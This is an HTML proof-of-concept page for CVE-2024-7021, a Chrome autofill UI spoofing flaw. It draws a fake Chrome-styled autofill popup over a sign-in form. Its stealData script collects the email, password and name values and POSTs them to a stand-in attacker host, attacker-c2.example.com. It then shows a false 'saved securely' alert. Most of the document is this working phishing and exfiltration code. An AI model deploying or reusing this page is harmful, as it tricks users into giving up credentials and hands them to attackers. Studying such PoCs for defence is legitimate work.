<!-- CVE-2024-7021 PoC: Chrome Autofill UI Spoofing -->
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Login - Chrome Autofill Spoofing PoC</title>
<style>
* { margin: 0; padding: 0; box-sizing: border-box; }
body { font-family: Arial, sans-serif; background: #f5f5f5; }
/* Fake login form overlay */
.fake-autofill-container {
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
background: rgba(0, 0, 0, 0.7);
display: none;
justify-content: center;
align-items: center;
z-index: 999999;
}
.fake-autofill-box {
background: white;
border-radius: 8px;
padding: 24px;
width: 380px;
box-shadow: 0 4px 20px rgba(0,0,0,0.3);
font-family: 'Segoe UI', Arial, sans-serif;
}
.fake-autofill-header {
display: flex;
align-items: center;
margin-bottom: 16px;
padding-bottom: 12px;
border-bottom: 1px solid #e0e0e0;
}
.fake-chrome-icon {
width: 32px;
height: 32px;
background: linear-gradient(135deg, #4285f4, #34a853);
border-radius: 50%;
margin-right: 12px;
}
.fake-autofill-title {
font-size: 16px;
font-weight: 500;
color: #333;
}
.fake-autofill-item {
padding: 12px;
border: 1px solid #e0e0e0;
border-radius: 6px;
margin-bottom: 8px;
cursor: pointer;
transition: background 0.2s;
}
.fake-autofill-item:hover {
background: #f0f7ff;
border-color: #4285f4;
}
.fake-autofill-item .name {
font-size: 14px;
font-weight: 500;
color: #333;
margin-bottom: 4px;
}
.fake-autofill-item .email {
font-size: 12px;
color: #666;
}
.fake-submit-btn {
width: 100%;
padding: 12px;
background: #4285f4;
color: white;
border: none;
border-radius: 6px;
font-size: 14px;
font-weight: 500;
cursor: pointer;
margin-top: 16px;
}
/* Real form that triggers autofill */
.real-form {
max-width: 400px;
margin: 50px auto;
padding: 30px;
background: white;
border-radius: 10px;
box-shadow: 0 2px 10px rgba(0,0,0,0.1);
}
.real-form h2 {
text-align: center;
margin-bottom: 20px;
color: #333;
}
.form-group {
margin-bottom: 15px;
}
.form-group label {
display: block;
margin-bottom: 5px;
font-size: 14px;
color: #555;
}
.form-group input {
width: 100%;
padding: 10px;
border: 1px solid #ddd;
border-radius: 5px;
font-size: 14px;
}
.exploit-note {
background: #fff3cd;
border: 1px solid #ffc107;
padding: 12px;
border-radius: 6px;
margin-bottom: 20px;
font-size: 12px;
color: #856404;
}
</style>
</head>
<body>
<div class="real-form">
<div class="exploit-note">
<strong>Note:</strong> This is a PoC for CVE-2024-7021 - Chrome Autofill UI Spoofing on Windows. The fake autofill popup will appear when the user focuses on the email field.
</div>
<h2>Sign In</h2>
<form id="loginForm">
<div class="form-group">
<label for="email">Email or Username</label>
<input type="email" id="email" name="email" autocomplete="email" placeholder="Enter your email">
</div>
<div class="form-group">
<label for="password">Password</label>
<input type="password" id="password" name="password" autocomplete="current-password" placeholder="Enter your password">
</div>
<div class="form-group">
<label for="name">Full Name</label>
<input type="text" id="name" name="name" autocomplete="name" placeholder="Your full name">
</div>
</form>
</div>
<!-- Fake Autofill Popup that overlays the real one -->
<div class="fake-autofill-container" id="fakeAutofill">
<div class="fake-autofill-box">
<div class="fake-autofill-header">
<div class="fake-chrome-icon"></div>
<span class="fake-autofill-title">Select info to fill in</span>
</div>
<div class="fake-autofill-item" onclick="stealData()">
<div class="name">John Doe (Saved)</div>
<div class="email">
[email protected]</div>
</div>
<div class="fake-autofill-item" onclick="stealData()">
<div class="name">Jane Smith</div>
<div class="email">
[email protected]</div>
</div>
<button class="fake-submit-btn" onclick="stealData()">Use selected info</button>
</div>
</div>
<script>
// Show fake autofill popup when email field is focused
document.getElementById('email').addEventListener('focus', function() {
// Simulate delay to mimic real autofill behavior
setTimeout(function() {
document.getElementById('fakeAutofill').style.display = 'flex';
}, 500);
});
// Steal data function - simulates credential harvesting
function stealData() {
const email = document.getElementById('email').value;
const password = document.getElementById('password').value;
const name = document.getElementById('name').value;
console.log('Stolen credentials:', { email, password, name });
// Send data to attacker server (C2)
fetch('https://attacker-c2.example.com/collect', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
cve: 'CVE-2024-7021',
timestamp: new Date().toISOString(),
data: { email, password, name }
})
}).catch(e => console.log('Data exfiltration attempted'));
// Hide fake popup
document.getElementById('fakeAutofill').style.display = 'none';
alert('Your information has been saved securely.');
}
// Close popup when clicking outside
document.getElementById('fakeAutofill').addEventListener('click', function(e) {
if (e.target === this) {
this.style.display = 'none';
}
});
</script>
</body>
</html>